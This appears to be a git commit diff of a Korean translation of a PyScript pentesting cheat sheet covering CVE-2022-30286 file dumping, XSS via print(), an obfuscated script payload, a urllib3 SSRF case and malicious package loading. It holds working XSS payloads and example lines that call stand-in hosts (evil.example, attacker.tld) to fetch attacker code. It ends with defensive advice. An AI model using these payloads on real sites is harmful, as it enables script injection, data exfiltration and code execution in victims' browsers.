Translated ['src/generic-methodologies-and-resources/python/pyscript.md'

This commit is contained in:
Translator 2025-08-20 02:59:50 +00:00
parent 1ba577c4e3
commit a03278c0f0

View File

@ -4,9 +4,9 @@
## PyScript 펜테스팅 가이드
PyScript는 Python을 HTML에 통합하기 위해 개발된 새로운 프레임워크로, HTML과 함께 사용할 수 있습니다. 이 치트 시트에서는 펜테스팅 목적으로 PyScript를 사용하는 방법을 찾을 수 있습니다.
PyScript는 HTML에 Python을 통합하기 위해 개발된 새로운 프레임워크로, HTML과 함께 사용할 수 있습니다. 이 치트 시트에서는 펜테스팅 목적으로 PyScript를 사용하는 방법을 찾을 수 있습니다.
### Emscripten 가상 메모리 파일 시스템에서 파일 덤프/검색하기:
### Emscripten 가상 메모리 파일 시스템에서 파일 덤프 / 검색하기:
`CVE ID: CVE-2022-30286`\
\
@ -47,9 +47,9 @@ body: JSON.stringify({ content: btoa(console.logs) }),
```
![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png)
### 크로스 사이트 스크립팅 (일반)
### 크로스 사이트 스크립팅 (일반)
코드:
Code:
```python
<py-script>
print("<img src=x onerror='alert(document.domain)'>")
@ -78,7 +78,7 @@ print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
Code:
```html
<py-script>
prinht("
prinht(""
<script>
var _0x3675bf = _0x5cf5
function _0x5cf5(_0xced4e9, _0x1ae724) {
@ -140,7 +140,7 @@ return _0x34a15f
return _0x599c()
}
</script>
")
"")
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png)
@ -156,4 +156,62 @@ print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&
```
![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)
---
## 새로운 취약점 및 기술 (2023-2025)
### 제어되지 않는 리디렉션을 통한 서버 측 요청 위조 (CVE-2025-50182)
`urllib3 < 2.5.0`은 PyScript와 함께 제공되는 **Pyodide 런타임** 내에서 실행될 때 `redirect``retries` 매개변수를 무시합니다. 공격자가 대상 URL에 영향을 미칠 수 있는 경우, 개발자가 명시적으로 비활성화했음에도 불구하고 Python 코드가 교차 도메인 리디렉션을 따르도록 강제할 수 있습니다 사실상 anti-SSRF 로직을 우회하는 것입니다.
```html
<script type="py">
import urllib3
http = urllib3.PoolManager(retries=False, redirect=False) # supposed to block redirects
r = http.request("GET", "https://evil.example/302") # will STILL follow the 302
print(r.status, r.url)
</script>
```
`urllib3 2.5.0`에서 패치됨 PyScript 이미지에서 패키지를 업그레이드하거나 `packages = ["urllib3>=2.5.0"]`에서 안전한 버전을 고정하세요. 자세한 내용은 공식 CVE 항목을 참조하세요.
### 임의 패키지 로딩 및 공급망 공격
PyScript는 `packages` 목록에 임의의 URL을 허용하므로, 구성을 수정하거나 주입할 수 있는 악의적인 행위자는 피해자의 브라우저에서 **완전히 임의의 Python**을 실행할 수 있습니다:
```html
<py-config>
packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"]
</py-config>
<script type="py">
import payload # executes attacker-controlled code during installation
</script>
```
*오직 순수-Python 휠만 필요하며, WebAssembly 컴파일 단계는 필요하지 않습니다.* 구성은 사용자 제어가 아니어야 하며, HTTPS 및 SRI 해시와 함께 신뢰할 수 있는 휠을 자신의 도메인에 호스팅해야 합니다.
### 출력 정화 변경 사항 (2023+)
* `print()`는 여전히 원시 HTML을 주입하므로 XSS에 취약합니다 (위의 예시 참조).
* 새로운 `display()` 도우미는 **기본적으로 HTML을 이스케이프**합니다 원시 마크업은 `pyscript.HTML()`로 감싸야 합니다.
```python
from pyscript import display, HTML
display("<b>escaped</b>") # renders literally
display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted
```
이 동작은 2023년에 도입되었으며 공식 Built-ins 가이드에 문서화되어 있습니다. 신뢰할 수 없는 입력에 대해서는 `display()`를 사용하고 `print()`를 직접 호출하는 것을 피하십시오.
---
## 방어적 모범 사례
* **패키지를 최신 상태로 유지** `urllib3 >= 2.5.0`으로 업그레이드하고 사이트와 함께 제공되는 휠을 정기적으로 재구축하십시오.
* **패키지 출처 제한** PyPI 이름이나 동일 출처 URL만 참조하고, 이상적으로는 Sub-resource Integrity (SRI)로 보호하십시오.
* **콘텐츠 보안 정책 강화** 인라인 JavaScript(`script-src 'self' 'sha256-…'`)를 허용하지 않아 주입된 `<script>` 블록이 실행되지 않도록 합니다.
* **사용자 제공 `<py-script>` / `<script type="py">` 태그 금지** 다른 사용자에게 다시 에코하기 전에 서버에서 HTML을 정화하십시오.
* **작업자 격리** 작업자에서 DOM에 대한 동기식 접근이 필요하지 않은 경우, `sync_main_only` 플래그를 활성화하여 `SharedArrayBuffer` 헤더 요구 사항을 피하십시오.
## 참조
* [NVD CVE-2025-50182](https://nvd.nist.gov/vuln/detail/CVE-2025-50182)
* [PyScript Built-ins documentation `display` & `HTML`](https://docs.pyscript.net/2024.6.1/user-guide/builtins/)
{{#include ../../banners/hacktricks-training.md}}